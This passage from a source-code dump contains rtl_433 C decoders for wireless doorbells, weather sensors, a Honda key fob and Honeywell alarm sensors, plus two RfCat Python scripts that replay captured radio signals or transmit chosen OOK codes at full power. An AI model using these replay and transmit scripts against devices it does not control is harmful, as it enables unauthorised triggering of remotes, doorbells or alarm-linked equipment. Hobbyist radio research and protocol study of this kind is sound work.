DB286A_PULSECOUNT) { 44 | return 0; 45 | } 46 | 47 | if (count_repeats(bitbuffer, 1) < DB286A_MINPATTERN) { 48 | return 0; 49 | } 50 | 51 | //Get hex string representation of code pattern 52 | for (i = 0; i <= DB286A_CODEBYTES; i++) { 53 | idsp += sprintf(idsp, "%02x", b[i]); 54 | } 55 | id_string[DB286A_CODECHARS] = '\0'; 56 | 57 | local_time_str(0, time_str); 58 | 59 | data = data_make( 60 | "time", "", DATA_STRING, time_str, 61 | "model", "", DATA_STRING, "Elro DB286A", 62 | "code", "Code", DATA_STRING, id_string, 63 | NULL); 64 | 65 | data_acquired_handler(data); 66 | 67 | return 1; 68 | 69 | } 70 | 71 | static char *output_fields[] = { 72 | "time", 73 | "model", 74 | "code", 75 | NULL 76 | }; 77 | 78 | r_device elro_db286a = { 79 | .name = "Elro DB286A Doorbell", 80 | .modulation = OOK_PULSE_PWM_RAW, 81 | .short_limit = 800, 82 | .long_limit = 1500*4, 83 | .reset_limit = 2000*4, 84 | .json_callback = &doorbell_db286a_callback, 85 | .disabled = 0, 86 | .fields = output_fields 87 | }; 88 | -------------------------------------------------------------------------------- /rtl_433/src/devices/mebus.c: -------------------------------------------------------------------------------- 1 | #include "rtl_433.h" 2 | #include "util.h" 3 | 4 | static int mebus433_callback(bitbuffer_t *bitbuffer) { 5 | bitrow_t *bb = bitbuffer->bb; 6 | char time_str[LOCAL_TIME_BUFLEN]; 7 | int16_t temp; 8 | int8_t hum; 9 | uint8_t address; 10 | uint8_t channel; 11 | uint8_t battery; 12 | uint8_t unknown1; 13 | uint8_t unknown2; 14 | data_t *data; 15 | 16 | if (bb[0][0] == 0 && bb[1][4] !=0 && (bb[1][0] & 0x60) && bb[1][3]==bb[5][3] && bb[1][4] == bb[12][4]){ 17 | local_time_str(0, time_str); 18 | 19 | address = bb[1][0] & 0x1f; 20 | 21 | channel = ((bb[1][1] & 0x30) >> 4) + 1; 22 | // Always 0? 23 | unknown1 = (bb[1][1] & 0x40) >> 6; 24 | battery = bb[1][1] & 0x80; 25 | 26 | // Upper 4 bits are stored in nibble 1, lower 8 bits are stored in nibble 2 27 | // upper 4 bits of nibble 1 are reserved for other usages. 28 | temp = (int16_t)((uint16_t)(bb[1][1] << 12) | bb[1][2] << 4); 29 | temp = temp >> 4; 30 | // lower 4 bits of nibble 3 and upper 4 bits of nibble 4 contains 31 | // humidity as decimal value 32 | hum = (bb[1][3] << 4 | bb[1][4] >> 4); 33 | 34 | // Always 0b1111? 35 | unknown2 = (bb[1][3] & 0xf0) >> 4; 36 | 37 | data = data_make("time", "", DATA_STRING, time_str, 38 | "model", "", DATA_STRING, "Mebus/433", 39 | "id", "Address", DATA_INT, address, 40 | "battery", "Battery", DATA_STRING, battery ? "OK" : "LOW", 41 | "channel", "Channel", DATA_INT, channel, 42 | "unknown1", "Unknown 1", DATA_INT, unknown1, 43 | "unknown2", "Unknown 2", DATA_INT, unknown2, 44 | "temperature_C", "Temperature", DATA_FORMAT, "%.02f C", DATA_DOUBLE, temp / 10.0, 45 | "humidity", "Humidity", DATA_FORMAT, "%u %%", DATA_INT, hum, 46 | NULL); 47 | data_acquired_handler(data); 48 | 49 | 50 | return 1; 51 | } 52 | return 0; 53 | } 54 | 55 | r_device mebus433 = { 56 | .name = "Mebus 433", 57 | .modulation = OOK_PULSE_PPM_RAW, 58 | .short_limit = 1200, 59 | .long_limit = 2400, 60 | .reset_limit = 6000, 61 | .json_callback = &mebus433_callback, 62 | .disabled = 0, 63 | .demod_arg = 0, 64 | }; 65 | -------------------------------------------------------------------------------- /RfCatHelpers/RFSimpleTransmit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import sys 4 | from rflib import * 5 | from struct import * 6 | import bitstring 7 | import operator 8 | import argparse 9 | import time 10 | import pickle 11 | 12 | parser = argparse.ArgumentParser(description='Dumb application to replay a signal',version="0.1-bricktop") 13 | parser.add_argument('-f', action="store", default="433880000", dest="baseFreq",help='Target frequency to listen for remote (default 433880000)',type=int) 14 | parser.add_argument('-r', action="store", dest="baudRate",default=4800,help='Baudrate, defaults to 4800',type=int) 15 | parser.add_argument('-i', action="store", default="24000", dest="chanWidth",help='Width of each channel (lowest being 24000 -- default)',type=int) 16 | parser.add_argument('-p', action="store", default="100", dest="power",help='Power level for re-transmitting',type=int) 17 | parser.add_argument('-o', action="store", default="", required=True, dest="inFile",help='File to read in') 18 | parser.add_argument('-k', action="store", dest="waitForKeypress", default=True,help='Wait for keypress before resending') 19 | results = parser.parse_args() 20 | 21 | rawCapture = []; 22 | print "Configuring RfCat" 23 | d = RfCat() 24 | d.setMdmModulation(MOD_ASK_OOK) 25 | d.setFreq(results.baseFreq) 26 | d.setMdmSyncMode(0) 27 | d.setMdmDRate(results.baudRate) 28 | d.setMdmChanSpc(results.chanWidth) 29 | d.setChannel(0) 30 | d.setPower(results.power) 31 | d.setMaxPower() 32 | #d.setRFRegister(PA_TABLE0, 0xFF) 33 | #d.setRFRegister(PA_TABLE1, 0xFF) 34 | 35 | 36 | rawCapture = pickle.load(open(results.inFile,"rb")) 37 | if(len(rawCapture) == 0): 38 | print "No captures found" 39 | sys.exit() 40 | else: 41 | print "loaded" + str(len(rawCapture)) 42 | print "Send Phase..." 43 | 44 | emptykey = '\x00\x00\x00\x00\x00\x00\x00' 45 | d.makePktFLEN(len(emptykey)) 46 | d.RFxmit(emptykey) 47 | while True: 48 | try: 49 | freq = raw_input("Press to resend or type the frequency you wish to send on now:") 50 | if(freq != ''): 51 | d.setFreq(int(freq)) 52 | 53 | for i in range(0,len(rawCapture)): 54 | key_packed = bitstring.BitArray(hex=rawCapture[i]).tobytes() 55 | d.makePktFLEN(len(key_packed)) 56 | if(results.waitForKeypress == True): 57 | raw_input(" Press any key to send " + str(i+1) + " of " + str(len(rawCapture))) 58 | d.RFxmit(key_packed) 59 | print "Sent " + str(i+1) + " of " + str(len(rawCapture)) 60 | except KeyboardInterrupt: 61 | print "Bye!" 62 | d.setModeIDLE() 63 | sys.exit() 64 | break; 65 | print "exiting." 66 | d.setModeIDLE() 67 | #d.setRFRegister(PA_TABLE0, 0x00) 68 | #d.setRFRegister(PA_TABLE1, 0x00) 69 | -------------------------------------------------------------------------------- /rtl_433/src/devices/hondaremote.c: -------------------------------------------------------------------------------- 1 | /* Honda Car Key 2 | * 3 | * Identifies button event, but does not attempt to decrypt rolling code... 4 | * 5 | * Copyright (C) 2016 Adrian Stevenson 6 | * This program is free software; you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License as published by 8 | * the Free Software Foundation; either version 2 of the License, or 9 | * (at your option) any later version. 10 | */ 11 | #include "rtl_433.h" 12 | #include "data.h" 13 | #include "util.h" 14 | 15 | static const char* command_code[] ={"boot", "unlock" , "lock",}; 16 | 17 | static const char* get_command_codes(const uint8_t* bytes) { 18 | unsigned char command = bytes[46] - 0xAA; 19 | if(command < (sizeof(command_code)/sizeof(command_code[0]))) { 20 | return command_code[command]; 21 | } else { 22 | return "unknown"; 23 | } 24 | } 25 | 26 | static int hondaremote_callback(bitbuffer_t *bitbuffer) { 27 | bitrow_t *bb = bitbuffer->bb; 28 | uint8_t *bytes = bitbuffer->bb[0]; 29 | char time_str[LOCAL_TIME_BUFLEN]; 30 | data_t *data; 31 | uint16_t device_id; 32 | 33 | for (int i = 0; i < bitbuffer->num_rows; i++) 34 | { 35 | // Validate package 36 | if (((bitbuffer->bits_per_row[i] >385) && (bitbuffer->bits_per_row[i] <=394)) && 37 | ((bytes[0] == 0xFF ) && (bytes[38] == 0xFF))) 38 | { 39 | 40 | if (debug_output) { 41 | fprintf (stdout,"passed validation bits per row %02d\n",(bitbuffer->bits_per_row[i])); 42 | for (unsigned n=40; n<(50); ++n) 43 | { 44 | fprintf(stdout,"Byte %02d", n); 45 | fprintf(stdout,"= %02X\n", bytes[n]); 46 | } 47 | } 48 | 49 | //call function to lookup what button was pressed 50 | const char* code = get_command_codes(bytes); 51 | device_id = (bytes[44]>>8|bytes[45]); 52 | 53 | /* Get time now */ 54 | local_time_str(0, time_str); 55 | data = data_make( 56 | "time", "", DATA_STRING, time_str, 57 | "model", "", DATA_STRING, "Honda Remote", 58 | "device id", "", DATA_INT, device_id, 59 | "code", "", DATA_STRING, code, 60 | NULL); 61 | 62 | data_acquired_handler(data); 63 | return 1; 64 | } 65 | return 0; 66 | } 67 | return 0; 68 | } 69 | 70 | static char *output_fields[] = { 71 | "time", 72 | "model", 73 | "device id", 74 | "code", 75 | NULL 76 | }; 77 | 78 | 79 | r_device hondaremote = { 80 | .name = "Honda Car Key", 81 | .modulation = FSK_PULSE_PWM_RAW, 82 | .short_limit = 300, 83 | .long_limit = 800, // Not used 84 | .reset_limit = 2000, 85 | .json_callback = &hondaremote_callback, 86 | .disabled = 0, 87 | .demod_arg = 0, 88 | .fields = output_fields 89 | }; 90 | -------------------------------------------------------------------------------- /rtl_433/src/devices/blyss.c: -------------------------------------------------------------------------------- 1 | /* blyss DC5-UK-WH as sold by B&Q 2 | * 3 | * DC5-UK-WH pair with receivers, the codes used may be specific to a receiver - use with caution 4 | * 5 | * Copyright (C) 2016 John Jore 6 | * This program is free software; you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License as published by 8 | * the Free Software Foundation; either version 2 of the License, or 9 | * (at your option) any later version. 10 | */ 11 | 12 | #include "rtl_433.h" 13 | #include "util.h" 14 | 15 | static int blyss_dc5_uk_wh(bitbuffer_t *bitbuffer) 16 | { 17 | bitrow_t *bb = bitbuffer->bb; 18 | 19 | for (int i = 0; i < bitbuffer->num_rows; i++) 20 | { 21 | //This needs additional validation, but works on mine. Suspect each DC5-UK-WH uses different codes as the transmitter 22 | //is paired to the receivers to avoid being triggerd by the neighbours transmitter ?!? 23 | if (((bb[i][0] == 0xce) && (bb[i][1] == 0x8e) && (bb[i][2] == 0x2a) && (bb[i][3] == 0x6c) && (bb[i][4] == 0x80)) || 24 | ((bb[i][0] == 0xe7) && (bb[i][1] == 0x37) && (bb[i][2] == 0x7a) && (bb[i][3] == 0x2c) && (bb[i][4] == 0x80))) 25 | { 26 | if (debug_output) { 27 | fprintf(stdout, "blyss DC5-UK-WH ringing\n"); 28 | bitbuffer_print(bitbuffer); 29 | } 30 | 31 | data_t *data; 32 | char time_str[LOCAL_TIME_BUFLEN]; 33 | local_time_str(0, time_str); 34 | 35 | data = data_make("time", "", DATA_STRING, time_str, 36 | "model", "", DATA_STRING, "blyss dc5-uk-wh", 37 | "type", "", DATA_STRING, "doorbell", 38 | "mode", "", DATA_STRING, "ringing", 39 | NULL); 40 | data_acquired_handler(data); 41 | 42 | return 1; 43 | } 44 | } 45 | 46 | //This was not a blyss device after all 47 | return 0; 48 | } 49 | 50 | static char *output_fields[] = { 51 | "time", 52 | "model", 53 | "type", 54 | "mode", 55 | NULL 56 | }; 57 | 58 | static int blyss_callback(bitbuffer_t *bitbuffer) { 59 | // Validate its a 'blyss' we understand 60 | int rows = bitbuffer->num_rows; 61 | 62 | for (int i = 0; i < rows; i++) { 63 | unsigned bits = bitbuffer->bits_per_row[i]; 64 | 65 | //blyss DC5-UK-WH 66 | if (bits == 33) { //33 bits in a "proper" message. Last row is 32 67 | //We have found: 68 | int result = blyss_dc5_uk_wh(bitbuffer); 69 | 70 | return result; // done 71 | } 72 | } 73 | 74 | //If we got this far, its not a blyss device we know of 75 | return 0; 76 | } 77 | 78 | 79 | r_device blyss = { 80 | .name = "blyss DC5-UK-WH (433.92 MHz)", 81 | .modulation = OOK_PULSE_PWM_RAW, 82 | .short_limit = 1010, 83 | .long_limit = 4000, 84 | .reset_limit = 10000, 85 | .json_callback = &blyss_callback, 86 | .disabled = 0, 87 | .demod_arg = 0, 88 | }; 89 | -------------------------------------------------------------------------------- /RfCatHelpers/AMOOKTransmit.py: -------------------------------------------------------------------------------- 1 | import sys 2 | from rflib import * 3 | from struct import * 4 | import bitstring 5 | import argparse 6 | 7 | 8 | def makeKey(key,large = True): 9 | if(key[0:1] == "1"): 10 | key = "1" + key 11 | pwm_str_key = "" 12 | for k in key: 13 | x = "*" 14 | if(k == "0"): 15 | x = "1110" # A zero is encoded as a longer high pulse (high-high-low) 16 | if(k == "1"): 17 | x = "1100" # and a one is encoded as a shorter high pulse (high-low-low). 18 | if(k == "x"): 19 | x = "0000" # AndrewMac: Maybe the transmitter is slow to warm up to maximum power? What happens if you add some zero padding at the start? 20 | if(large == True): 21 | x = x + "0" 22 | pwm_str_key = pwm_str_key + x 23 | key_packed = bitstring.BitArray(bin=pwm_str_key).tobytes() 24 | return key_packed; 25 | 26 | def makeKeyFull(key,large = True): 27 | pwm_str_key = key 28 | key_packed = bitstring.BitArray(bin=pwm_str_key).tobytes() 29 | return key_packed; 30 | 31 | def sendKey(key,num): 32 | for i in range(0,num): 33 | d.RFxmit(key) 34 | 35 | parser = argparse.ArgumentParser(description='Application to use a RFCat compatible device to transmit a particular AM/OOK binary signal\n Use -b for a calculated(full) binary or -c for a compact binary (full will be calculated) ',version="0.1-bricktop") 36 | parser.add_argument('-f', action="store", default="433880000", dest="baseFreq",help='Target frequency to listen for remote (default 433880000)',type=int) 37 | parser.add_argument('-r', action="store", dest="baudRate",default=4800,help='Baudrate, defaults to 4800',type=int) 38 | group = parser.add_mutually_exclusive_group(required=True) 39 | group.add_argument('-b', action="store", dest="fullBin",default=False,help='Full binary value to Transmit') 40 | group.add_argument('-c', action="store", dest="compactBin", default=False,help='Compact binary value to Transmit') 41 | parser.add_argument('-t', action="store", dest="repeatTimes",default=15,help='Number of times to repeat the signal,defaults to 15',type=int) 42 | parser.add_argument('-vv', action="store_true", dest="verbose", default=False,help='Verbose output') 43 | results = parser.parse_args() 44 | 45 | freq = results.baseFreq 46 | baudRate = results.baudRate 47 | 48 | d = RfCat() 49 | 50 | d.setMdmModulation(MOD_ASK_OOK) 51 | d.setFreq(freq) 52 | d.setMdmSyncMode(0) 53 | d.setMdmDRate(baudRate) 54 | 55 | fullKey = '' 56 | if(results.compactBin is not False): 57 | fullKey = makeKey(results.compactBin,True) 58 | if(results.fullBin is not False): 59 | fullKey = makeKeyFull(results.fullBin,True) 60 | 61 | d.makePktFLEN(len(fullKey)) 62 | print "Transmitting..." 63 | sendKey(fullKey,results.repeatTimes) 64 | print "Done." 65 | d.setModeIDLE() 66 | -------------------------------------------------------------------------------- /rtl_433/src/devices/oregon_scientific_v1.c: -------------------------------------------------------------------------------- 1 | #include "rtl_433.h" 2 | #include "data.h" 3 | #include "util.h" 4 | 5 | #define OSV1_BITS 32 6 | 7 | static int rev_nibble(int nib) 8 | { 9 | int revnib = 0; 10 | 11 | revnib += (nib >> 3) & 0x1; 12 | revnib += (nib >> 1) & 0x2; 13 | revnib += (nib << 1) & 0x4; 14 | revnib += (nib << 3) & 0x8; 15 | 16 | return(revnib); 17 | } 18 | 19 | static int oregon_scientific_callback_v1(bitbuffer_t *bitbuffer) { 20 | int ret = 0; 21 | char time_str[LOCAL_TIME_BUFLEN]; 22 | int row; 23 | int cs; 24 | int i; 25 | int nibble[OSV1_BITS/4]; 26 | int sid, channel, uk1; 27 | float tempC; 28 | int battery, uk2, sign, uk3, checksum; 29 | data_t *data; 30 | 31 | local_time_str(0, time_str); 32 | 33 | for(row = 0; row < bitbuffer->num_rows; row++) { 34 | if(bitbuffer->bits_per_row[row] == OSV1_BITS) { 35 | cs = 0; 36 | for(i = 0; i < OSV1_BITS / 8; i++) { 37 | nibble[i * 2 ] = rev_nibble((bitbuffer->bb[row][i] >> 4)); 38 | nibble[i * 2 + 1] = rev_nibble((bitbuffer->bb[row][i] & 0x0f)); 39 | if(i < ((OSV1_BITS / 8) - 1)) 40 | cs += nibble[i * 2] + 16 * nibble[i * 2 + 1]; 41 | } 42 | cs = (cs & 0xFF) + (cs >> 8); 43 | checksum = nibble[6] + (nibble[7] << 4); 44 | if(checksum == cs) { 45 | sid = nibble[0]; 46 | channel = ((nibble[1] >> 2) & 0x03) + 1; 47 | uk1 = (nibble[1] >> 0) & 0x03; /* unknown. Seen change every 60 minutes */ 48 | tempC = nibble[2] / 10. + nibble[3] + nibble[4] * 10.; 49 | battery = (nibble[5] >> 3) & 0x01; 50 | uk2 = (nibble[5] >> 2) & 0x01; /* unknown. Always zero? */ 51 | sign = (nibble[5] >> 1) & 0x01; 52 | uk3 = (nibble[5] >> 0) & 0x01; /* unknown. Always zero? */ 53 | 54 | if(sign) tempC = -tempC; 55 | 56 | data = data_make( 57 | "time", "", DATA_STRING, time_str, 58 | "model", "", DATA_STRING, "OSv1 Temperature Sensor", 59 | "sid", "SID", DATA_INT, sid, 60 | "channel", "Channel", DATA_INT, channel, 61 | "battery", "Battery", DATA_STRING, battery ? "LOW" : "OK", 62 | "temperature_C","Temperature", DATA_FORMAT, "%.01f C", DATA_DOUBLE, tempC, 63 | NULL); 64 | data_acquired_handler(data); 65 | ret++; 66 | } 67 | } 68 | } 69 | return ret; 70 | } 71 | 72 | static char *output_fields[] = { 73 | "time", 74 | "model", 75 | "id", 76 | "channel", 77 | "battery", 78 | "temperature_C", 79 | NULL 80 | }; 81 | 82 | r_device oregon_scientific_v1 = { 83 | .name = "OSv1 Temperature Sensor", 84 | .modulation = OOK_PULSE_PWM_OSV1, 85 | .short_limit = 300, 86 | .long_limit = 430, 87 | .reset_limit = 14000, 88 | .json_callback = &oregon_scientific_callback_v1, 89 | .disabled = 0, 90 | .demod_arg = 0, 91 | .fields = output_fields 92 | }; 93 | -------------------------------------------------------------------------------- /rtl_433/src/devices/infactory.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (C) 2017 Sirius Weiß 3 | * Copyright (C) 2017 Christian W. Zuckschwerdt 4 | * 5 | * This program is free software; you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation; either version 2 of the License, or 8 | * 9 | * 10 | * Outdoor sensor transmits data temperature, humidity. 11 | * Transmissions also includes an id. The sensor transmits 12 | * every 60 seconds 6 packets. 13 | * 14 | * 0000 1111 | 0011 0000 | 0101 1100 | 1110 0111 | 0110 0001 15 | * xxxx xxxx | cccc cccc | tttt tttt | tttt hhhh | hhhh ???? 16 | * 17 | * x - ID // changes on battery switch 18 | * c - Unknown Checksum (changes on every transmit if the other values are different) 19 | * h - Humidity // BCD-encoded, each nibble is one digit 20 | * t - Temperature // in °F as binary number with one decimal place + 90 °F offset 21 | * 22 | * 23 | * Usage: 24 | * 25 | * # rtl_433 -f 434052000 -R 91 -F json:log.json 26 | * 27 | */ 28 | 29 | #include "rtl_433.h" 30 | #include "util.h" 31 | #include "data.h" 32 | 33 | static int infactory_callback(bitbuffer_t *bitbuffer) { 34 | 35 | bitrow_t *bb = bitbuffer->bb; 36 | uint8_t *b = bb[0]; 37 | data_t *data; 38 | 39 | char time_str[LOCAL_TIME_BUFLEN]; 40 | int id; 41 | int humidity; 42 | int temp; 43 | float temp_f; 44 | 45 | if (bitbuffer->bits_per_row[0] != 40) { 46 | return 0; 47 | } 48 | 49 | id = b[0]; 50 | humidity = (b[3] & 0x0F) * 10 + (b[4] >> 4); // BCD 51 | temp = (b[2] << 4) | (b[3] >> 4); 52 | temp_f = (float)temp / 10 - 90; 53 | 54 | local_time_str(0, time_str); 55 | 56 | data = data_make( "time", "", DATA_STRING, time_str, 57 | "model", "", DATA_STRING, "inFactory sensor", 58 | "id", "ID", DATA_FORMAT, "%u", DATA_INT, id, 59 | "temperature_F", "Temperature",DATA_FORMAT, "%.02f °F", DATA_DOUBLE, temp_f, 60 | "humidity", "Humidity", DATA_FORMAT, "%u %%", DATA_INT, humidity, 61 | NULL); 62 | data_acquired_handler(data); 63 | 64 | return 1; 65 | } 66 | 67 | 68 | static char *output_fields[] = { 69 | "time", 70 | "model" 71 | "id", 72 | "temperature_F", 73 | "humidity", 74 | NULL 75 | }; 76 | 77 | r_device infactory = { 78 | .name = "inFactory", 79 | .modulation = OOK_PULSE_PPM_RAW, 80 | .short_limit = 3000, // Threshold between short and long gap [us] 81 | .long_limit = 5000, // Maximum gap size before new row of bits [us] 82 | .reset_limit = 6000, // Maximum gap size before End Of Message [us]. 83 | .json_callback = &infactory_callback, 84 | .disabled = 1, 85 | .fields = output_fields 86 | }; 87 | -------------------------------------------------------------------------------- /rtl_433/src/devices/current_cost.c: -------------------------------------------------------------------------------- 1 | #include "rtl_433.h" 2 | #include "pulse_demod.h" 3 | #include "util.h" 4 | #include "data.h" 5 | 6 | static int current_cost_callback(bitbuffer_t *bitbuffer) { 7 | bitbuffer_invert(bitbuffer); 8 | bitrow_t *bb = bitbuffer->bb; 9 | uint8_t *b = bb[0]; 10 | 11 | char time_str[LOCAL_TIME_BUFLEN]; 12 | data_t *data; 13 | local_time_str(0, time_str); 14 | 15 | uint8_t init_pattern[] = { 16 | 0xcc, //8 17 | 0xcc, //16 18 | 0xcc, //24 19 | 0xce, //32 20 | 0x91, //40 21 | 0x5d, //45 (! last 3 bits is not init) 22 | }; 23 | unsigned int start_pos = bitbuffer_search(bitbuffer, 0, 0, init_pattern, 45); 24 | 25 | if(start_pos == bitbuffer->bits_per_row[0]){ 26 | return 0; 27 | } 28 | start_pos += 45; 29 | 30 | bitbuffer_t packet_bits = {0}; 31 | 32 | start_pos = bitbuffer_manchester_decode(bitbuffer, 0, start_pos, &packet_bits, 0); 33 | 34 | uint8_t *packet = packet_bits.bb[0]; 35 | // Read data 36 | if(packet_bits.bits_per_row[0] >= 56 && ((packet[0] & 0xf0) == 0) ){ 37 | uint16_t device_id = (packet[0] & 0x0f) << 8 | packet[1]; 38 | 39 | uint16_t watt0 = (packet[2] & 0x7F) << 8 | packet[3] ; 40 | uint16_t watt1 = (packet[4] & 0x7F) << 8 | packet[5] ; 41 | uint16_t watt2 = (packet[6] & 0x7F) << 8 | packet[7] ; 42 | data = data_make("time", "", DATA_STRING, time_str, 43 | "model", "", DATA_STRING, "CurrentCost TX", //TODO: it may have different CC Model ? any ref ? 44 | //"rc", "Rolling Code", DATA_INT, rc, //TODO: add rolling code b[1] ? test needed 45 | "dev_id", "Device Id", DATA_FORMAT, "%d", DATA_INT, device_id, 46 | "power0", "Power 0", DATA_FORMAT, "%d W", DATA_INT, watt0, 47 | "power1", "Power 1", DATA_FORMAT, "%d W", DATA_INT, watt1, 48 | "power2", "Power 2", DATA_FORMAT, "%d W", DATA_INT, watt2, 49 | //"battery", "Battery", DATA_STRING, battery_low ? "LOW" : "OK", //TODO is there some low battery indicator ? 50 | NULL); 51 | data_acquired_handler(data); 52 | return 1; 53 | } 54 | return 0; 55 | } 56 | 57 | static char *output_fields[] = { 58 | "time", 59 | "model", 60 | "rc", 61 | "power0", 62 | "power1", 63 | "power2", 64 | NULL 65 | }; 66 | 67 | r_device current_cost = { 68 | .name = "CurrentCost Current Sensor", 69 | .modulation = FSK_PULSE_PCM, 70 | .short_limit = 250, 71 | .long_limit = 250, // NRZ 72 | .reset_limit = 8000, 73 | .json_callback = ¤t_cost_callback, 74 | .disabled = 0, 75 | .fields = output_fields, 76 | }; 77 | -------------------------------------------------------------------------------- /rtl_433/src/devices/honeywell.c: -------------------------------------------------------------------------------- 1 | /* 2 | * *** Honeywell (Ademco) Door/Window Sensors (345.0Mhz) *** 3 | * 4 | * Tested with the Honeywell 5811 Wireless Door/Window transmitters 5 | * 6 | * 64 bit packets, repeated multiple times per open/close event 7 | * 8 | * Protocol whitepaper: "DEFCON 22: Home Insecurity" by Logan Lamb 9 | * 10 | * PP PP C IIIII EE SS SS 11 | * P: 16bit Preamble and sync bit (always ff fe) 12 | * C: 4bit Channel 13 | * I: 20bit Device serial number / or counter value 14 | * E: 8bit Event, where 0x80 = Open/Close, 0x04 = Heartbeat / or id 15 | * S: 16bit CRC 16 | * 17 | */ 18 | 19 | #include "rtl_433.h" 20 | #include "pulse_demod.h" 21 | #include "util.h" 22 | 23 | static int honeywell_callback(bitbuffer_t *bitbuffer) { 24 | char time_str[LOCAL_TIME_BUFLEN]; 25 | const uint8_t *bb; 26 | int channel; 27 | int device_id; 28 | int event; 29 | int state; 30 | int heartbeat; 31 | uint16_t crc_calculated; 32 | uint16_t crc; 33 | 34 | if(bitbuffer->num_rows != 1 || bitbuffer->bits_per_row[0] != 64) 35 | return 0; // Unrecognized data 36 | 37 | for(uint16_t i=0; i < 8; i++) 38 | bitbuffer->bb[0][i] = ~bitbuffer->bb[0][i]; 39 | 40 | bb = bitbuffer->bb[0]; 41 | 42 | crc_calculated = crc16_ccitt(bb, 6, 0x8005, 0xfffe); 43 | crc = (((uint16_t) bb[6]) << 8) + ((uint16_t) bb[7]); 44 | if(crc != crc_calculated) 45 | return 0; // Not a valid packet 46 | 47 | channel = bb[2] >> 4; 48 | device_id = ((bb[2] & 0xf) << 16) | (bb[3] << 8)| bb[4]; 49 | event = bb[5]; 50 | state = (event & 0x80) >> 7; 51 | heartbeat = (event & 0x04) >> 2; 52 | 53 | local_time_str(0, time_str); 54 | 55 | data_t *data = data_make( 56 | "time", "", DATA_STRING, time_str, 57 | "model", "", DATA_STRING, "Honeywell Door/Window Sensor", 58 | "id", "", DATA_FORMAT, "%05x", DATA_INT, device_id, 59 | "channel","", DATA_INT, channel, 60 | "event","", DATA_FORMAT, "%02x", DATA_INT, event, 61 | "state", "", DATA_STRING, state ? "open" : "closed", 62 | "heartbeat" , "", DATA_STRING, heartbeat ? "yes" : "no", 63 | NULL); 64 | 65 | data_acquired_handler(data); 66 | return 1; 67 | } 68 | 69 | static char *output_fields[] = { 70 | "time", 71 | "model", 72 | "id", 73 | "channel", 74 | "event", 75 | "state", 76 | "heartbeat", 77 | NULL 78 | }; 79 | 80 | r_device honeywell = { 81 | .name = "Honeywell Door/Window Sensor", 82 | .modulation = OOK_PULSE_MANCHESTER_ZEROBIT, 83 | .short_limit = 39 * 4, 84 | .long_limit = 0, 85 | .reset_limit = 73 * 4, 86 | .json_callback = &honeywell_callback, 87 | .disabled = 0, 88 | .demod_arg = 0, 89 | .fields = output_fields, 90 | }; 91 | -------------------------------------------------------------------------------- /rtl_433/src/devices/ht680.c: -------------------------------------------------------------------------------- 1 | /* HT680 Remote control 2 | * 3 | * Copyright (C) 2016 Igor Polovnikov 4 | * This program is free software; you can redistribute it and/or modify 5 | * it under the terms of the GNU General Public License as published by 6 | * the Free Software Foundation; either version 2 of the License, or 7 | * (at your option) any later version. 8 | */ 9 | #include "rtl_433.h" 10 | #include "util.h" 11 | 12 | static int ht680_callback(bitbuffer_t *bitbuffer) { 13 | bitrow_t *bb = bitbuffer->bb; 14 | char time_str[LOCAL_TIME_BUFLEN]; 15 | data_t *data; 16 | 17 | for (uint8_t row = 0;row < bitbuffer->num_rows;row++){ 18 | uint8_t *b = bb[row]; 19 | if(bitbuffer->bits_per_row[row] == 40 && //Length of packet is 40 20 | (b[0] & 0x50) == 0x50 && //Sync mask 01010000 21 | (b[1] & 0x0A) == 0x0A && //Address always mask 00001010 22 | (b[3] & 0x82) == 0x82 && //Buttons(4,3) always mask 10000010 23 | (b[4] & 0x0A) == 0x0A){ //Buttons(2,1) always mask 00001010 24 | b[0] = b[0] & 0x0F; //Clear sync 25 | 26 | // Tristate coding 27 | char tristate[21]; 28 | char *p = tristate; 29 | for(uint8_t byte = 0; byte < 5; byte++){ 30 | for(int8_t bit = 7; bit > 0; bit -= 2){ 31 | switch ((b[byte] >> (bit-1)) & 0x03){ 32 | case 0x00: *p++ = '0'; break; 33 | case 0x01: *p++ = '?'; break; //Invalid code 01 34 | case 0x02: *p++ = 'Z'; break; //Floating state Z is 10 35 | case 0x03: *p++ = '1'; break; 36 | default: *p++ = '!'; break; //Unknown error 37 | } 38 | } 39 | } 40 | *p = '\0'; 41 | 42 | local_time_str(0, time_str); 43 | data = data_make( 44 | "time", "", DATA_STRING, time_str, 45 | "model", "", DATA_STRING, "HT680 Remote control", 46 | "tristate","Tristate code",DATA_STRING, tristate, 47 | "address", "Address", DATA_FORMAT, "0x%06X", DATA_INT, (b[0]<<16)+(b[1]<<8)+b[2], 48 | "button1", "Button 1", DATA_STRING, (((b[4]>>4) & 0x03) == 3) ? "PRESSED" : "", 49 | "button2", "Button 2", DATA_STRING, (((b[4]>>6) & 0x03) == 3) ? "PRESSED" : "", 50 | "button3", "Button 3", DATA_STRING, ((((b[3]&0x7D)>>2) & 0x03) == 3) ? "PRESSED" : "", 51 | "button4", "Button 4", DATA_STRING, ((((b[3]&0x7D)>>4) & 0x03) == 3) ? "PRESSED" : "", 52 | NULL); 53 | data_acquired_handler(data); 54 | 55 | return 1; 56 | } 57 | } 58 | return 0; 59 | } 60 | 61 | static char *output_fields[] = { 62 | "model", 63 | "tristate", 64 | "address", 65 | "data", 66 | "button1", 67 | "button2", 68 | "button3", 69 | "button4", 70 | NULL 71 | }; 72 | 73 | r_device ht680 = { 74 | .name = "HT680 Remote control", 75 | .modulation = OOK_PULSE_PWM_RAW, 76 | .short_limit = 400, 77 | .long_limit = 1200, 78 | .reset_limit = 13000, 79 | .json_callback = &ht680_callback, 80 | .disabled = 0, 81 | .demod_arg = 1 82 | }; 83 | -------------------------------------------------------------------------------- /rtl_433/src/devices/generic_motion.c: -------------------------------------------------------------------------------- 1 | /* Generic off-brand wireless motion sensor and alarm system on 433.3MHz 2 | * 3 | * Example codes are: 80042 Arm alarm, 80002 Disarm alarm, 4 | * 80008 System ping (every 15 minutes), 800a2, 800c2, 800e2 Motion event 5 | * (following motion detection the sensor will blackout for 90 seconds). 6 | * 7 | * 2315 baud on/off rate and alternating 579 baud bit rate and 463 baud bit rate 8 | * Each transmission has a warmup of 17 to 32 pulse widths then 8 packets with 9 | * alternating 1:3 / 2:2 or 1:4 / 2:3 gap:pulse ratio for 0/1 bit in the packet 10 | * with a repeat gap of 4 pulse 